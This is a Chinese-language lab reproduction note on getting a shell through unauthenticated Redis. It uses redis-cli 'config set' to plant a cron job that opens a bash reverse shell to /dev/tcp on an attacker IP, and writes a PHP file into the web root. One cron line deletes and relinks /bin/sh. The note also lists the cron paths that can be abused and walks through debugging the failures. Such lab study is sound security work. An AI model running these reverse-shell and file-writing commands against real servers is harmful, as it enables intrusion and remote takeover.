《Redis未授權訪問getshell》復現筆記(二)
復現完了寫馬getshell,我們再來複現一下利用crontab反彈shell:
使用nc.exe在攻擊機上監聽9999端口:
nc –lvvp 9999
還是使用Redis Clinet寫入如下命令
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.8.195/9999 0>&1\n\n\n"
save
等待一分鐘……(10分鐘過去了)
emmm……
不要慌,一步一步的排查問題:
service crond status #確認服務器是否開啓定時任務計劃服務
cat /var/spool/cron/root #查看我們輸入的代碼是否插入到定時任務文件
tail -f /var/log/cron #查看crontab的日誌
通過查看日誌,我們發現報錯信息:bad minute(錯誤的時間),難道是因爲執行語句前後的亂碼導致cron無法正常讀取文件中的命令?
我們vim /var/spool/cron/root
手動修改root文件試試看,
等待一分鐘,成功反彈shell!
問題的原因找到了,同樣的命令,我們換個工具再試一遍。
redis-cli.exe -h 192.168.17.140
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.8.195/9999 0>&1\n\n\n"
save
看一下/var/spool/cron/root
文件內容,\n成功識別爲換行。
稍等一分鐘,成功返回shell!
這裏再分享一個我當時復現遇到的坑:
環境介紹
靶機:kali IP:192.168.17.142
攻擊機:Win10(本機) IP:192.168.1.101
復現過程
直接輸入命令:
service apache2 start #開啓apache服務
redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf文件中的配置啓動redis服務
訪問:http://192.168.17.142/
Web根目錄:/var/www/html/
依然通過redis-cli.exe連接redis服務,寫入phpinfo:
$ redis-cli.exe -h 192.168.17.142
redis 192.168.17.142:6379> config set dir /var/www/html
OK
redis 192.168.17.142:6379> config set dbfilename test.php
OK
redis 192.168.17.142:6379> set webshell "<?php phpinfo(); ?>"
OK
redis 192.168.17.142:6379> save
OK
redis 192.168.17.142:6379>
成功寫入,沒毛病。
我們再來試試寫入定時任務。
監聽端口:
nc –lvvp 9999
寫入定時任務:
redis-cli.exe -h 192.168.17.142
config set dir /var/spool/cron/crontabs
config set dbfilename root
set 1 "\n\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.101/9999 0>&1\n\n\n\n"
save
等待一分鐘,並沒有彈回shell……
下面開始排查原因:
service cron status #確認服務器是否開啓定時任務計劃服務
cat /var/spool/cron/crontabs/root #查看我們輸入的代碼是否插入到定時任務文件
tail -f /var/log/syslog
直接手動編輯定時任務文件試試,
vim /var/spool/cron/crontabs/root
tail -f /var/log/syslog
按要求修改權限試試,
chmod 600 /var/spool/cron/crontabs/root
ls -al /var/spool/cron/crontabs/root
tail -f /var/log/syslog
還是報錯,我們看一下郵件文件夾有沒有具體的錯誤信息。
cat /var/spool/mail/mail
通過Google搜索錯誤信息:/bin/sh: Syntax error: Bad fd number得到參考(Google到的原文如下):
The problem could be, that in Ubuntu 11.x /bin/sh is linked to /bin/dash and not to bin bash. check the link:
ls -l /bin/sh
If /bin/sh is a link to /bin/dash, change it to /bin/bash.
sudo mv /bin/sh /bin/sh.orig
sudo ln -s /bin/bash /bin/sh
查看一下/bin/sh指向,
ls -l /bin/sh
vim /var/spool/cron/crontabs/root
修改內容爲:
* * * * * root rm -rf /bin/sh & ln -s /bin/bash /bin/sh & /bin/bash -i>&/dev/tcp/192.168.1.101/9999 0>&1
成功彈回shell!
重新試試利用redis-cli寫入:
set 1 "\n\n\n* * * * * root rm -rf /bin/sh & ln -s /bin/bash /bin/sh & /bin/bash -i>&/dev/tcp/192.168.1.101/9999 0>&1\n\n\n"
很遺憾因爲編碼問題,不能識別。
因爲本人水平有限,這個問題最終沒能解決。以上僅爲記錄排錯的一些思路。
歡迎各位大佬批評指正。
PS:可進行利用的cron有如下幾個地方:
/etc/crontab 這個是肯定的
/etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
/var/spool/cron/root centos系統下root用戶的cron文件
/var/spool/cron/crontabs/root debian系統下root用戶的cron文件